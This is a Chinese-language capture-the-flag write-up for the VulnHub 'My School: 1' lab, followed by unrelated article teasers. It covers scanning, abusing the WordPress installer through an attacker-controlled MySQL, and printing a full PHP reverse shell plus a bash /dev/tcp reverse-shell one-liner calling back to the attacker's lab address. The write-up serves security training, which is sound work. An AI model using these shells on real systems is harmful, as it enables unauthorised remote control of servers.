news 2026/7/9 3:55:26

My School: 1靶场攻略

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
My School: 1靶场攻略

My School: 1 ~ VulnHub下载

靶机渗透练习20-My School_mysql (unauthorized)-CSDN博客攻略

1.前置知识

网络地址:主机位全 0 → 192.168.100.0(代表整个网段) 广播地址:主机位全 1 → 192.168.100.255(发给网段所有设备) 192.168.100.1 路由器 可用主机 IP 范围 192.168.100.1 ~ 192.168.100.254 可用数量:256 - 2 = 254 台设备 IP:192 . 168 . 100 . 140 二进制分段: 11000000(8 位) . 10101000(8 位) . 01100100(8 位) . 10001100(8 位) 连在一起一长串就是 32 个 0 和 1,这就是完整 IP 二进制。 2 的 6 次方:2^6 = 2×2×2×2×2×2 = 64 2 的 7 次方:2^7 = 2×2×2×2×2×2×2 = 128

2.主机发现

arp-scan -I eth0 192.168.100.0/24 nmap -sn 192.168.100.0/24 netdiscover -i eth0 -r 192.168.100.0/24 masscan 192.168.100.140 -p 80

3.端口扫描

nmap -sS -Pn --min-rate=10000 -sV -O 192.168.100.140 -p-

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

80/tcp open http Apache httpd 2.4.38 ((Debian))

3306/tcp open mysql MySQL (unauthorized)

8080/tcp open http Apache httpd 2.4.38 ((Debian))

33060/tcp open mysqlx MySQL X protocol listener

22 端口分析

一般只能暴力破解,暂时没有合适的字典

80 端口分析

访问 80 端口

扫描一下80端口目录
dirsearch -u http://192.168.100.140

响应200的有好几个,挨个打开一下

http://192.168.100.140/admin/login.php

可以看到是 CMS Made Simple

kali中searchsploit CMS Made Simple

搜索kali本地漏洞库:

发现有好多可利用的,回头再去看看页面能否得到其他信息

可知CMS的 版本是2.2.14,再精确搜索一下

searchsploit CMS Made Simple 2.2.14

都有Authenticated,说明都需要授权才可以使用

8080端口分析

打开发现这是wordpress的安装界面

kali中开启mysql

在 kali 本地开启 mysql 服务,然后先登陆一下看看账户和密码,一般是 root/root

service mysql start

mysql -u root -p

默认情况下,数据库服务监听的是本地 IP,想要其他 IP 访问需要修改配置文件改为0.0.0.0

修改配置文件

vim /etc/mysql/mariadb.conf.d/50-server.cnf

改完之后重启一下mysql

service mysql start 启动 systemctl restart mysql重启 systemctl status mysql检查状态 vim /etc/mysql/mariadb.conf.d/50-server.cnf修改配置
接下来登录mysql,创建wordpress 数据库并添加数据
create database wordpress; create user 'wpuser'@'192.168.100.140' identified by 'wppass';账号密码 grant all on wordpress.* to 'wpuser'@'192.168.100.140' with grant option;添加增删改查 flush privileges;刷新 show databases;

靶机上连接数据库主机(kali)

成功登录对应靶机wordpress后台

进入该区域放入我们的木马
<?php // php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php // Copyright (C) 2007 pentestmonkey@pentestmonkey.net set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.100.128'; $port = 6666; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(0); // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>

404.php 是网站自带页面,访问不存在的路径时,服务器会自动执行这个文件;

那么我们访问一个网站不存在的目录

http://192.168.100.140:8080/aaaaaaaaa

这个老是反弹不过来 换一个方法吧 使用一句话木马

2020 twentytwenty

http://192.168.100.140:8080/wp-content/themes/twentytwenty/404.php

成功拿到shell 反弹shell到kali
bash -c '/bin/sh -i >& /dev/tcp/192.168.100.128/9001 0>&1'

python3 -c 'import pty; pty.spawn("/bin/bash")'

不用想又是一个虚假的flag

切换用户

查看网站目录:/var/www/html,发现 cms 中的一个密码:

<?php # CMS Made Simple Configuration File # Documentation: https://docs.cmsmadesimple.org/configuration/config-file/config-reference # $config['dbms'] = 'mysqli'; $config['db_hostname'] = 'localhost'; $config['db_username'] = 'root'; $config['db_password'] = 'SW)#$of4-9056d'; $config['db_name'] = 'cmsms_db'; $config['db_prefix'] = 'cms_'; $config['timezone'] = 'America/New_York';

权限提升

这个命令支持cat和 ls,有 sudo 权限说明可以任意文件读取

执行命令

cat /root/proof.txt

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/9 3:55:11

支持二次开发的国产AI Agent平台有哪些?企业级开发底座与工作流引擎横评

随着企业智能自动化进程的加速&#xff0c;构建具备自主规划、工具调用与闭环执行能力的AI Agent已成为各行各业实现大模型落地的核心手段。传统的业务流集成方式往往受制于各系统间的数据孤岛&#xff0c;难以实现跨软件、跨平台的敏捷操作。因此&#xff0c;能够打破数据孤岛…

作者头像 李华
网站建设 2026/7/9 3:54:49

010-YOLO11热力图检查模型关注区域-定位无效改进

010-用热力图检查 YOLO11 模型关注区域&#xff1a;从可视化定位无效改进本文基于 Ultralytics 8.3.253 和 YOLO11 整理一套轻量级热力图检查方法。这里的热力图用于观察模型中间特征大致关注区域&#xff0c;不等同于正式评测指标&#xff0c;也不能替代 Precision、Recall、m…

作者头像 李华
网站建设 2026/7/9 3:53:16

量子计算:未来真的来了?

我国科研团队推出了全球算力最强的量子计算机&#xff0c;可实现66个量子比特的数据操控&#xff1b;与此同时&#xff0c;英国剑桥大学团队研发出一款量子计算桌面操作系统&#xff0c;这一突破对推动量子技术走向大众普及的意义&#xff0c;堪比当年微软为经典桌面计算机打造…

作者头像 李华
网站建设 2026/7/9 3:52:56

DVWA 1.10 命令注入实战:3种难度绕过与防御源码分析(附Payload)

DVWA 1.10 命令注入实战&#xff1a;从基础绕过到高级防御的完整指南 1. 命令注入漏洞的核心原理与危害 命令注入&#xff08;Command Injection&#xff09;是Web安全领域中最危险的漏洞之一&#xff0c;它允许攻击者通过构造特殊输入&#xff0c;在服务器上执行任意系统命令…

作者头像 李华
网站建设 2026/7/9 3:50:38

CSP 真题解析:[CSP-J 2019-T3] 纪念品

[CSP-J 2019-T3] 纪念品 摘要&#xff1a;本题是 2019 年 CSP-J 复赛的第三题&#xff0c;考察算法为动态规划。核心突破口在于"当日购买的纪念品也可以当日卖出"&#xff0c;这使得跨越多天的复杂交易可以被拆解为独立的"相邻两天"交易。每一天只需以前一…

作者头像 李华
网站建设 2026/7/9 3:50:18

风云变幻无常

风云变幻无常风是自然手&#xff0c;电为神灵眼。雷威敬畏心&#xff0c;雨声苦乐叹。曾见万古影&#xff0c;今观千年展。莫忧生死感&#xff0c;怎愁始终盼&#xff1f;路经沧田变&#xff0c;道修德信岸。局局有异同&#xff0c;事事无肝胆&#xff1f;何情不知谓&#xff0…

作者头像 李华